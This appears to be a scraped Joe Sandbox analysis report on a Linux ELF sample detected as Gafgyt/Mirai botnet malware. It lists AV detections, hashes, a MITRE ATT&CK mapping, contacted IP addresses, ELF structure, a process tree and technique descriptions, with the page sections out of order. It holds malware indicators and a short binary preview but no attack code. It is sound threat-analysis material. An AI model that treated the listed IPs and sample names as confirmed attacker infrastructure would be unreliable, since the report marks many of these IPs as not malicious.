Source: Yara match	File source: 6232.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY

Yara detected Gafgyt

Source: Yara match	File source: JXOsTWvZ5f.elf, type: SAMPLE
Source: Yara match	File source: 6229.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6232.1.00007f407c001000.00007f407c017000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Service Stop
Default Accounts	1 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
JXOsTWvZ5f.elf	43%	ReversingLabs	Linux.Trojan.Gafgyt
JXOsTWvZ5f.elf	54%	Virustotal		Browse
JXOsTWvZ5f.elf	100%	Avira	EXP/ELF.Mirai.Gen.Z.A

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	JXOsTWvZ5f.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	JXOsTWvZ5f.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
124.114.100.251	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
68.75.43.193	unknown	United States	7018	ATT-INTERNET4US	false
4.59.81.210	unknown	United States	3356	LEVEL3US	false
54.74.160.153	unknown	United States	16509	AMAZON-02US	false
83.120.176.54	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
249.81.104.35	unknown	Reserved	unknown	unknown	false
131.102.92.183	unknown	Switzerland	33845	SWISSGOVCH	false
105.174.161.79	unknown	Angola	37119	unitel-ASAO	false
107.164.184.24	unknown	United States	18779	EGIHOSTINGUS	false
40.81.146.211	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
167.202.153.55	unknown	United States	2897	GEORGIA-1US	false
108.15.83.130	unknown	United States	701	UUNETUS	false
34.251.233.68	unknown	United States	16509	AMAZON-02US	false
20.144.25.217	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
89.165.13.236	unknown	Iran (ISLAMIC Republic Of)	39501	NGSASIR	false
142.24.122.58	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
242.169.238.61	unknown	Reserved	unknown	unknown	false
80.115.88.24	unknown	Netherlands	33915	TNF-ASNL	false
201.100.187.213	unknown	Mexico	8151	UninetSAdeCVMX	false
57.218.229.157	unknown	Belgium	2686	ATGS-MMD-ASUS	false
181.95.254.116	unknown	Argentina	7303	TelecomArgentinaSAAR	false
124.24.110.52	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
98.33.175.46	unknown	United States	7922	COMCAST-7922US	false
164.88.238.64	unknown	South Africa	137951	CLAYERLIMITED-AS-APClayerLimitedHK	false
44.71.195.63	unknown	United States	7377	UCSDUS	false
67.190.106.145	unknown	United States	7922	COMCAST-7922US	false
140.221.20.57	unknown	United States	683	ARGONNE-ASUS	false
162.77.199.213	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
92.139.194.56	unknown	France	3215	FranceTelecom-OrangeFR	false
74.9.128.99	unknown	United States	7029	WINDSTREAMUS	false
221.156.247.86	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
69.70.64.18	unknown	Canada	5769	VIDEOTRONCA	false
175.103.138.75	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
196.217.22.166	unknown	Morocco	36903	MT-MPLSMA	false
66.161.253.41	unknown	United States	6181	FUSE-NETUS	false
118.78.15.180	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
189.212.100.63	unknown	Mexico	6503	AxtelSABdeCVMX	false
96.179.246.221	unknown	United States	7922	COMCAST-7922US	false
15.163.93.61	unknown	United States	71	HP-INTERNET-ASUS	false
148.195.76.0	unknown	Australia	18819	ENTERGY-CORP-US	false
84.129.94.59	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
12.86.190.151	unknown	United States	7018	ATT-INTERNET4US	false
36.155.216.209	unknown	China	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
179.221.52.4	unknown	Brazil	28573	CLAROSABR	false
112.40.240.150	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
81.187.24.68	unknown	United Kingdom	20712	AS20712AndrewsArnoldLtdGB	false
9.204.112.148	unknown	United States	3356	LEVEL3US	false
177.77.20.113	unknown	Brazil	26599	TELEFONICABRASILSABR	false
174.26.30.188	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
168.237.250.143	unknown	United States	3136	STATE-OF-WISCONSIN-AS1US	false
213.177.25.113	unknown	Romania	31313	STSBucharest323ASplaiulIndependenteiSector6060044Ro	false
159.17.200.253	unknown	United States	8151	UninetSAdeCVMX	false
66.117.102.61	unknown	United States	17211	GTEC-ORG-ARINUS	false
253.224.42.218	unknown	Reserved	unknown	unknown	false
200.207.159.86	unknown	Brazil	27699	TELEFONICABRASILSABR	false
14.28.174.178	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
240.235.48.187	unknown	Reserved	unknown	unknown	false
132.204.195.205	unknown	Canada	376	RISQ-ASCA	false
69.234.252.57	unknown	China	7018	ATT-INTERNET4US	false
133.177.152.59	unknown	Japan	385	AFCONC-BLOCK1-ASUS	false
65.70.156.134	unknown	United States	7018	ATT-INTERNET4US	false
220.229.89.242	unknown	Taiwan; Republic of China (ROC)	9919	NCIC-TWNewCenturyInfoCommTechCoLtdTW	false
190.180.52.52	unknown	Bolivia	25620	COTASLTDABO	false
51.105.87.48	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.237.76.20	unknown	Moldova Republic of	8926	MOLDTELECOM-ASMoldtelecomAutonomousSystemMD	false
116.161.59.175	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
2.202.124.161	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
209.124.9.237	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
88.217.21.122	unknown	Germany	8767	MNET-ASGermanyDE	false
189.220.110.23	unknown	Mexico	28509	CablemasTelecomunicacionesSAdeCVMX	false
72.128.250.115	unknown	United States	10796	TWC-10796-MIDWESTUS	false
156.153.60.79	unknown	United States	71	HP-INTERNET-ASUS	false
27.128.80.44	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
87.131.71.50	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
219.111.219.101	unknown	Japan	18129	ONIOKAYAMANETWORKINCJP	false
197.90.235.65	unknown	South Africa	10474	OPTINETZA	false
179.172.210.145	unknown	Brazil	26599	TELEFONICABRASILSABR	false
125.141.29.52	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
18.38.221.97	unknown	United States	3	MIT-GATEWAYSUS	false
163.243.128.26	unknown	United States	668	DNIC-AS-00668US	false
101.169.89.111	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
64.207.132.30	unknown	United States	31815	MEDIATEMPLEUS	false
144.123.190.109	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
59.133.247.222	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
249.19.175.235	unknown	Reserved	unknown	unknown	false
97.55.145.75	unknown	United States	22394	CELLCOUS	false
148.87.226.183	unknown	United States	1215	ORACLE-NA-ASUS	false
171.115.180.100	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
220.191.211.122	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
191.186.79.7	unknown	Brazil	28573	CLAROSABR	false
8.71.16.20	unknown	United States	3356	LEVEL3US	false
217.244.31.39	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
185.18.43.54	unknown	Ukraine	204553	TGCC-ASUA	false
98.17.100.163	unknown	United States	7029	WINDSTREAMUS	false
182.27.74.69	unknown	Indonesia	4795	INDOSATM2-IDINDOSATM2ASNID	false
182.201.4.55	unknown	China	134762	CHINANET-LIAONING-DALIAN-MANCHINANETLiaoningprovinceDali	false
252.116.207.113	unknown	Reserved	unknown	unknown	false
45.111.161.100	unknown	Egypt	37069	MOBINILEG	false
77.165.52.204	unknown	Netherlands	1136	KPNKPNNationalEU	false
34.142.58.18	unknown	United States	2686	ATGS-MMD-ASUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINANET-BACKBONENo31Jin-rongStreetCN	zYsaZvhLYO.elf	Get hash	malicious	Gafgyt, Mirai	Browse	14.107.15.128
	Vv8yTm4Qan.elf	Get hash	malicious	Gafgyt, Mirai	Browse	111.180.74.52
	XhMvMaNI5c.elf	Get hash	malicious	Gafgyt, Mirai	Browse	222.244.64.21
	nVLTNW6jTf.elf	Get hash	malicious	Mirai	Browse	139.206.53.187
	yXNkcdlrUt.elf	Get hash	malicious	Mirai	Browse	106.46.172.159
	RnkDgGqm26.elf	Get hash	malicious	Mirai	Browse	144.52.193.243
	Sl33YbEhcy.elf	Get hash	malicious	Mirai	Browse	219.140.3.62
	2QR7by59ni.elf	Get hash	malicious	Mirai	Browse	14.159.150.210
	TUKQsbOuOY.elf	Get hash	malicious	Mirai	Browse	171.44.76.45
	d91ok8ryRu.elf	Get hash	malicious	Mirai	Browse	110.178.91.179
	v3tdpepZk9.elf	Get hash	malicious	Mirai	Browse	59.43.13.111
	LToQ9gPa1Y.elf	Get hash	malicious	Mirai	Browse	171.109.227.253
	x86.elf	Get hash	malicious	Mirai	Browse	111.77.232.155
	https://goldslav.website/ieis/?8192772	Get hash	malicious	Qbot	Browse	60.189.156.185
	document_BC386_Jun_15_1.js	Get hash	malicious	Qbot	Browse	60.189.156.185
	qualitative.tmp.dll	Get hash	malicious	Qbot	Browse	60.189.156.185
	qualitative.tmp.dll	Get hash	malicious	Qbot	Browse	60.189.156.185
	J6UT5iWOLgWv.js	Get hash	malicious	Unknown	Browse	220.186.125.97
	n3CBbCBNSR.elf	Get hash	malicious	Unknown	Browse	27.21.210.135
	Wv6N8gnEFo.elf	Get hash	malicious	Unknown	Browse	202.103.207.168

Process:	/tmp/JXOsTWvZ5f.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:TglqVTYD03n:TgwGDCn
MD5:	43089325E6D92EEC23FCF3464DB7D227
SHA1:	45619E39F1D996B53C573BCBE4FAE68FC6393944
SHA-256:	03BB132EC20A5F6F47F7BEEA08ED2A2679699158BBCDA74D1738583467A80EC7
SHA-512:	5ABAD5293DDE7A9BEF347CE8512C7C2D9C0F2C76438E8D72644AE20D1793EDD4AB86BB3D5E4FDB8B0D88C08536E2063112C6D451AB47C92988E1B37FFA5E2BE3
Malicious:	false
Reputation:	low
Preview:	/tmp/JXOsTWvZ5f.elf.

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.358953986048415
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	JXOsTWvZ5f.elf
File size:	92828
MD5:	2d42ac2a5720c0d1bcbf316c247daf51
SHA1:	5a2b6ff7a1b00af133c19330f00ad1faa8ba24ad
SHA256:	8f71178aa5933b4237c6d1234ceac7e466d21d2d90a63b7d36a68df8079b2d6f
SHA512:	2d6f76bd1c806d305f412cb06fe179d22f1bb5594209725ebe94f0910800feeb6d39f4be92b2b211ecc28b74c97806a9266ed487e66686cc6b4a478fb5da2824
SSDEEP:	1536:ASPDn/ufn32ohCsiKtn7+S1tHKH1W2LEBPGA:xPTGfGbsiKx7BcVFLwPGA
TLSH:	49937C06BB090B43D2535DF43D3FA7E5D3ABAAD012E4E282A64CB645C271E335686DDC
File Content Preview:	.ELF...........................4..h......4. ...(......................_..._...............`...`...`....p..2.........dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.........h...../...@..\?.....`..+../...A..$8...})....`.N..

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xf918	0x0	0x6	AX	4
.fini	PROGBITS	0x1000f9d0	0xf9d0	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000f9f0	0xf9f0	0x65a0	0x0	0x2	A	8
.ctors	PROGBITS	0x10026000	0x16000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x10026008	0x16008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x10026018	0x16018	0x7c0	0x0	0x3	WA	8
.sdata	PROGBITS	0x100267d8	0x167d8	0x98	0x0	0x3	WA	4
.sbss	NOBITS	0x10026870	0x16870	0x74	0x0	0x3	WA	8
.bss	NOBITS	0x100268e4	0x16870	0x2a04	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x16870	0x4b	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x15f90	0x15f90	6.4024	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x16000	0x10026000	0x10026000	0x870	0x32e8	4.1856	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jun 15, 2023 22:18:27.911919117 CEST	62.115.58.113	192.168.2.23	7067	(Net unreachable)	Destination Unreachable
Jun 15, 2023 22:18:27.940541029 CEST	31.150.144.106	192.168.2.23	206c	(Unknown)	Destination Unreachable
Jun 15, 2023 22:18:27.944230080 CEST	188.225.254.21	192.168.2.23	5e36	(Time to live exceeded in transit)	Time Exceeded
Jun 15, 2023 22:18:28.116564035 CEST	213.229.192.242	192.168.2.23	243	(Net unreachable)	Destination Unreachable
Jun 15, 2023 22:18:29.078201056 CEST	74.128.7.18	192.168.2.23	bbda	(Host unreachable)	Destination Unreachable
Jun 15, 2023 22:18:30.168811083 CEST	200.124.94.10	192.168.2.23	dca0	(Time to live exceeded in transit)	Time Exceeded
Jun 15, 2023 22:18:30.934910059 CEST	2.202.124.161	192.168.2.23	cb57	(Unknown)	Destination Unreachable
Jun 15, 2023 22:18:31.038283110 CEST	50.51.37.89	192.168.2.23	176d	(Unknown)	Destination Unreachable
Jun 15, 2023 22:18:31.057200909 CEST	68.87.171.142	192.168.2.23	11f1	(Host unreachable)	Destination Unreachable
Jun 15, 2023 22:18:31.139693022 CEST	211.53.96.126	192.168.2.23	7e	(Host unreachable)	Destination Unreachable
Jun 15, 2023 22:18:31.139705896 CEST	211.53.96.126	192.168.2.23	7e	(Host unreachable)	Destination Unreachable
Jun 15, 2023 22:18:31.176116943 CEST	112.188.219.2	192.168.2.23	45aa	(Host unreachable)	Destination Unreachable
Jun 15, 2023 22:18:31.178262949 CEST	112.190.43.238	192.168.2.23	5aae	(Host unreachable)	Destination Unreachable
Jun 15, 2023 22:18:34.178857088 CEST	121.130.188.120	192.168.2.23	f5e7	(Host unreachable)	Destination Unreachable

Start time:	22:18:26
Start date:	15/06/2023
Path:	/tmp/JXOsTWvZ5f.elf
Arguments:	/tmp/JXOsTWvZ5f.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time:	22:18:29
Start date:	15/06/2023
Path:	/tmp/JXOsTWvZ5f.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time:	22:18:36
Start date:	15/06/2023
Path:	/tmp/JXOsTWvZ5f.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time:	22:19:36
Start date:	15/06/2023
Path:	/tmp/JXOsTWvZ5f.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time:	22:20:36
Start date:	15/06/2023
Path:	/tmp/JXOsTWvZ5f.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time:	22:21:36
Start date:	15/06/2023
Path:	/tmp/JXOsTWvZ5f.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time:	22:18:27
Start date:	15/06/2023
Path:	/usr/libexec/gnome-session-binary
Arguments:	n/a
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Start time:	22:18:28
Start date:	15/06/2023
Path:	/usr/libexec/gsd-print-notifications
Arguments:	/usr/libexec/gsd-print-notifications
File size:	51840 bytes
MD5 hash:	71539698aa691718cee775d6b9450ae2

Start time:	22:18:30
Start date:	15/06/2023
Path:	/usr/libexec/gsd-sound
Arguments:	/usr/libexec/gsd-sound
File size:	31248 bytes
MD5 hash:	4c7d3fb993463337b4a0eb5c80c760ee

Start time:	22:18:31
Start date:	15/06/2023
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Start time:	22:18:32
Start date:	15/06/2023
Path:	/usr/libexec/gsd-power
Arguments:	/usr/libexec/gsd-power
File size:	88672 bytes
MD5 hash:	28b8e1b43c3e7f1db6741ea1ecd978b7

Start time:	22:18:34
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:18:42
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:18:50
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:18:57
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report JXOsTWvZ5f.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0MLdFl (deleted)

/tmp/qemu-open.0RUfam (deleted)

/tmp/qemu-open.0f5Gxo (deleted)

/tmp/qemu-open.0i5P0n (deleted)

/tmp/qemu-open.17z60l (deleted)

/tmp/qemu-open.1hwJ7k (deleted)

/tmp/qemu-open.2Fhl6l (deleted)

/tmp/qemu-open.34Q5Co (deleted)

/tmp/qemu-open.3FtAhm (deleted)

/tmp/qemu-open.3Qzeqn (deleted)

/tmp/qemu-open.7KIB2k (deleted)

/tmp/qemu-open.8SgFwk (deleted)

/tmp/qemu-open.8kmV5m (deleted)

/tmp/qemu-open.9GT3El (deleted)

/tmp/qemu-open.9X7Ndl (deleted)

/tmp/qemu-open.APXWWn (deleted)

/tmp/qemu-open.B02Tfk (deleted)

/tmp/qemu-open.BLp7jo (deleted)

/tmp/qemu-open.BPGCXm (deleted)

/tmp/qemu-open.Bh2Q3k (deleted)

/tmp/qemu-open.CJEp1n (deleted)

/tmp/qemu-open.Cmh9Pn (deleted)

/tmp/qemu-open.Cslp3n (deleted)

/tmp/qemu-open.D8J6sk (deleted)

/tmp/qemu-open.DFPjIn (deleted)

/tmp/qemu-open.DNTy6l (deleted)

/tmp/qemu-open.DRNbNl (deleted)

Linux Analysis Report
JXOsTWvZ5f.elf

Start time:	22:19:02
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:19:06
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:19:07
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:19:12
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:19:17
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:19:18
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	22:19:19
Start date:	15/06/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre